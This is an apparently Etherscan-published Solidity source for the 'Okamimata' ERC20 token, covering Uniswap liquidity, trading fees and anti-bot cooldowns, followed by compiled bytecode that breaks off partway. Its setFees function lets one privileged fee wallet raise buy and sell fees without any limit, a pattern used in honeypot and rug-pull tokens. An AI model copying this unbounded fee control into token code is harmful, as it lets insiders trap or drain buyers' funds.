/** *Submitted for verification at Etherscan.io on 2022-03-05 */ /** https://okamimata.com/ WEKCOME TO THE ERA OF 0 GAS!! */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Okamimata is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e12 * 10**9; string public constant name = unicode"Okamimata"; //// string public constant symbol = unicode"OKAMIMATA"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeAddress1; address payable public _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 12; uint public _sellFee = 14; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (1 hours)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (1 hours)) { fee += 13; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 10000000000 * 10**9; // 1% _maxHeldTokens = 30000000000 * 10**9; // 3% } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _FeeAddress1); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _FeeAddress1); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101e75760003560e01c80635090161711610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb614610697578063dcb0e0ad146106c2578063dd62ed3e146106eb578063e8078d9414610728576101ee565b8063a9059cbb14610601578063b2131f7d1461063e578063c3c8cd8014610669578063c9567bf914610680576101ee565b8063715018a6116100d1578063715018a6146105695780638da5cb5b1461058057806394b8d8f2146105ab57806395d89b41146105d6576101ee565b806350901617146104c1578063590f897e146104ea5780636fc3eaec1461051557806370a082311461052c576101ee565b806327f3a72a1161017a5780633bed4355116101495780633bed43551461041757806340b9a54b1461044257806345596e2e1461046d57806349bd5a5e14610496576101ee565b806327f3a72a1461036b578063313ce5671461039657806332d873d8146103c1578063367c5544146103ec576101ee565b80630b78f9c0116101b65780630b78f9c0146102af57806318160ddd146102d85780631940d0201461030357806323b872dd1461032e576101ee565b80630492f055146101f357806306fdde031461021e5780630802d2f614610249578063095ea7b314610272576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b5061020861073f565b6040516102159190612903565b60405180910390f35b34801561022a57600080fd5b50610233610745565b60405161024091906129b7565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b9190612a3c565b61077e565b005b34801561027e57600080fd5b5061029960048036038101906102949190612a95565b61087c565b6040516102a69190612af0565b60405180910390f35b3480156102bb57600080fd5b506102d660048036038101906102d19190612b0b565b61089a565b005b3480156102e457600080fd5b506102ed61094a565b6040516102fa9190612903565b60405180910390f35b34801561030f57600080fd5b5061031861095b565b6040516103259190612903565b60405180910390f35b34801561033a57600080fd5b5061035560048036038101906103509190612b4b565b610961565b6040516103629190612af0565b60405180910390f35b34801561037757600080fd5b50610380610b52565b60405161038d9190612903565b60405180910390f35b3480156103a257600080fd5b506103ab610b62565b6040516103b89190612bba565b60405180910390f35b3480156103cd57600080fd5b506103d6610b67565b6040516103e39190612903565b60405180910390f35b3480156103f857600080fd5b50610401610b6d565b60405161040e9190612bf6565b60405180910390f35b34801561042357600080fd5b5061042c610b93565b6040516104399190612bf6565b60405180910390f35b34801561044e57600080fd5b50610457610bb9565b6040516104649190612903565b60405180910390f35b34801561047957600080fd5b50610494600480360381019061048f9190612c11565b610bbf565b005b3480156104a257600080fd5b506104ab610ca6565b6040516104b89190612c4d565b60405180910390f35b3480156104cd57600080fd5b506104e860048036038101906104e39190612a3c565b610ccc565b005b3480156104f657600080fd5b506104ff610dca565b60405161050c9190612903565b60405180910390f35b34801561052157600080fd5b5061052a610dd0565b005b34801561053857600080fd5b50610553600480360381019061054e9190612a3c565b610e42565b6040516105609190612903565b60405180910390f35b34801561057557600080fd5b5061057e610e8b565b005b34801561058c57600080fd5b50610595610fde565b6040516105a29190612c4d565b60405180910390f35b3480156105b757600080fd5b506105c0611007565b6040516105cd9190612af0565b60405180910390f35b3480156105e257600080fd5b506105eb61101a565b6040516105f891906129b7565b60405180910390f35b34801561060d57600080fd5b5061062860048036038101906106239190612a95565b611053565b6040516106359190612af0565b60405180910390f35b34801561064a57600080fd5b50610653611071565b6040516106609190612903565b60405180910390f35b34801561067557600080fd5b5061067e611077565b005b34801561068c57600080fd5b506106956110f1565b005b3480156106a357600080fd5b506106ac611219565b6040516106b99190612903565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e49190612c94565b61124b565b005b3480156106f757600080fd5b50610712600480360381019061070d9190612cc1565b61130f565b60405161071f9190612903565b60405180910390f35b34801561073457600080fd5b5061073d611396565b005b600d5481565b6040518060400160405280600981526020017f4f6b616d696d617461000000000000000000000000000000000000000000000081525081565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107bf611847565b73ffffffffffffffffffffffffffffffffffffffff16146107df57600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516108719190612d60565b60405180910390a150565b6000610890610889611847565b848461184f565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108db611847565b73ffffffffffffffffffffffffffffffffffffffff16146108fb57600080fd5b81600a8190555080600b819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1600a54600b5460405161093e929190612d7b565b60405180910390a15050565b6000683635c9adc5dea00000905090565b600e5481565b6000601060009054906101000a900460ff1680156109c95750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610a225750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610a96573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610a95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8c90612df0565b60405180910390fd5b5b610aa1848484611a1a565b600082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610aed611847565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b329190612e3f565b9050610b4685610b40611847565b8361184f565b60019150509392505050565b6000610b5d30610e42565b905090565b600981565b600f5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c00611847565b73ffffffffffffffffffffffffffffffffffffffff1614610c2057600080fd5b60008111610c63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5a90612ebf565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c54604051610c9b9190612903565b60405180910390a150565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d0d611847565b73ffffffffffffffffffffffffffffffffffffffff1614610d2d57600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051610dbf9190612d60565b60405180910390a150565b600b5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e11611847565b73ffffffffffffffffffffffffffffffffffffffff1614610e3157600080fd5b6000479050610e3f8161229b565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e93611847565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1790612f2b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601060029054906101000a900460ff1681565b6040518060400160405280600981526020017f4f4b414d494d415441000000000000000000000000000000000000000000000081525081565b6000611067611060611847565b8484611a1a565b6001905092915050565b600c5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110b8611847565b73ffffffffffffffffffffffffffffffffffffffff16146110d857600080fd5b60006110e330610e42565b90506110ee81612388565b50565b6110f9611847565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611186576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117d90612f2b565b60405180910390fd5b601060009054906101000a900460ff16156111d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cd90612f97565b60405180910390fd5b6001601060006101000a81548160ff02191690831515021790555042600f81905550678ac7230489e80000600d819055506801a055690d9db80000600e81905550565b6000611246600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e42565b905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661128c611847565b73ffffffffffffffffffffffffffffffffffffffff16146112ac57600080fd5b80601060026101000a81548160ff0219169083151502179055507ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb601060029054906101000a900460ff166040516113049190612af0565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61139e611847565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461142b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142290612f2b565b60405180910390fd5b601060009054906101000a900460ff161561147b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147290612f97565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061150b30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611556573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061157a9190612fcc565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116059190612fcc565b6040518363ffffffff1660e01b8152600401611622929190612ff9565b6020604051808303816000875af1158015611641573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116659190612fcc565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306116ee30610e42565b6000806116f9610fde565b426040518863ffffffff1660e01b815260040161171b9695949392919061305d565b60606040518083038185885af1158015611739573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061175e91906130d3565b505050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611800929190613126565b6020604051808303816000875af115801561181f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118439190613164565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b690613203565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561192f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192690613295565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a0d9190612903565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8190613327565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611afa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af1906133b9565b60405180910390fd5b60008111611b3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b349061344b565b60405180910390fd5b6000611b47610fde565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611bb55750611b85610fde565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156121d657600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611c655750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611cbb5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fd657601060009054906101000a900460ff16611d0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d06906134b7565b60405180910390fd5b600f54421415611d54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4b90613523565b60405180910390fd5b42610e10600f54611d659190613543565b1115611dc457600e54611d7784610e42565b83611d829190613543565b1115611dc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dba9061360b565b60405180910390fd5b5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff16611e9e5760405180604001604052806000815260200160011515815250600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055509050505b426078600f54611eae9190613543565b1115611f8a57600d54821115611ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef090613677565b60405180910390fd5b601e42611f069190613543565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611f89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8090613709565b60405180910390fd5b5b42600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600190505b601060019054906101000a900460ff16158015611fff5750601060009054906101000a900460ff165b80156120595750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121d557600f4261206b9190613543565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154106120ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e59061379b565b60405180910390fd5b60006120f930610e42565b905060008111156121b657601060029054906101000a900460ff16156121ac576064600c54612149600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e42565b61215391906137bb565b61215d9190613844565b8111156121ab576064600c54612194600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e42565b61219e91906137bb565b6121a89190613844565b90505b5b6121b581612388565b5b600047905060008111156121ce576121cd4761229b565b5b6000925050505b5b600060019050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061227d5750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561228757600090505b6122948585858486612601565b5050505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002836122e49190613844565b9081150290604051600060405180830381858888f1935050505015801561230f573d6000803e3d6000fd5b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002836123599190613844565b9081150290604051600060405180830381858888f19350505050158015612384573d6000803e3d6000fd5b5050565b6001601060016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123c0576123bf613875565b5b6040519080825280602002602001820160405280156123ee5781602001602082028036833780820191505090505b5090503081600081518110612406576124056138a4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124d19190612fcc565b816001815181106124e5576124e46138a4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061254c30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184f565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125b0959493929190613991565b600060405180830381600087803b1580156125ca57600080fd5b505af11580156125de573d6000803e3d6000fd5b50505050506000601060016101000a81548160ff02191690831515021790555050565b600061260d8383612623565b905061261b86868684612678565b505050505050565b60008060009050831561266e57821561264057600a54905061266d565b600b549050610e10600f546126559190613543565b42101561266c57600d816126699190613543565b90505b5b5b8091505092915050565b600080612685848461281b565b9150915083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d49190612e3f565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127629190613543565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ae81612859565b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161280b9190612903565b60405180910390a3505050505050565b60008060006064848661282e91906137bb565b6128389190613844565b9050600081866128489190612e3f565b905080829350935050509250929050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a49190613543565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000819050919050565b6128fd816128ea565b82525050565b600060208201905061291860008301846128f4565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561295857808201518184015260208101905061293d565b83811115612967576000848401525b50505050565b6000601f19601f8301169050919050565b60006129898261291e565b6129938185612929565b93506129a381856020860161293a565b6129ac8161296d565b840191505092915050565b600060208201905081810360008301526129d1818461297e565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a09826129de565b9050919050565b612a19816129fe565b8114612a2457600080fd5b50565b600081359050612a3681612a10565b92915050565b600060208284031215612a5257612a516129d9565b5b6000612a6084828501612a27565b91505092915050565b612a72816128ea565b8114612a7d57600080fd5b50565b600081359050612a8f81612a69565b92915050565b60008060408385031215612aac57612aab6129d9565b5b6000612aba85828601612a27565b9250506020612acb85828601612a80565b9150509250929050565b60008115159050919050565b612aea81612ad5565b82525050565b6000602082019050612b056000830184612ae1565b92915050565b60008060408385031215612b2257612b216129d9565b5b6000612b3085828601612a80565b9250506020612b4185828601612a80565b9150509250929050565b600080600060608486031215612b6457612b636129d9565b5b6000612b7286828701612a27565b9350506020612b8386828701612a27565b9250506040612b9486828701612a80565b9150509250925092565b600060ff82169050919050565b612bb481612b9e565b82525050565b6000602082019050612bcf6000830184612bab565b92915050565b6000612be0826129de565b9050919050565b612bf081612bd5565b82525050565b6000602082019050612c0b6000830184612be7565b92915050565b600060208284031215612c2757612c266129d9565b5b6000612c3584828501612a80565b91505092915050565b612c47816129fe565b82525050565b6000602082019050612c626000830184612c3e565b92915050565b612c7181612ad5565b8114612c7c57600080fd5b50565b600081359050612c8e81612c68565b92915050565b600060208284031215612caa57612ca96129d9565b5b6000612cb884828501612c7f565b91505092915050565b60008060408385031215612cd857612cd76129d9565b5b6000612ce685828601612a27565b9250506020612cf785828601612a27565b9150509250929050565b6000819050919050565b6000612d26612d21612d1c846129de565b612d01565b6129de565b9050919050565b6000612d3882612d0b565b9050919050565b6000612d4a82612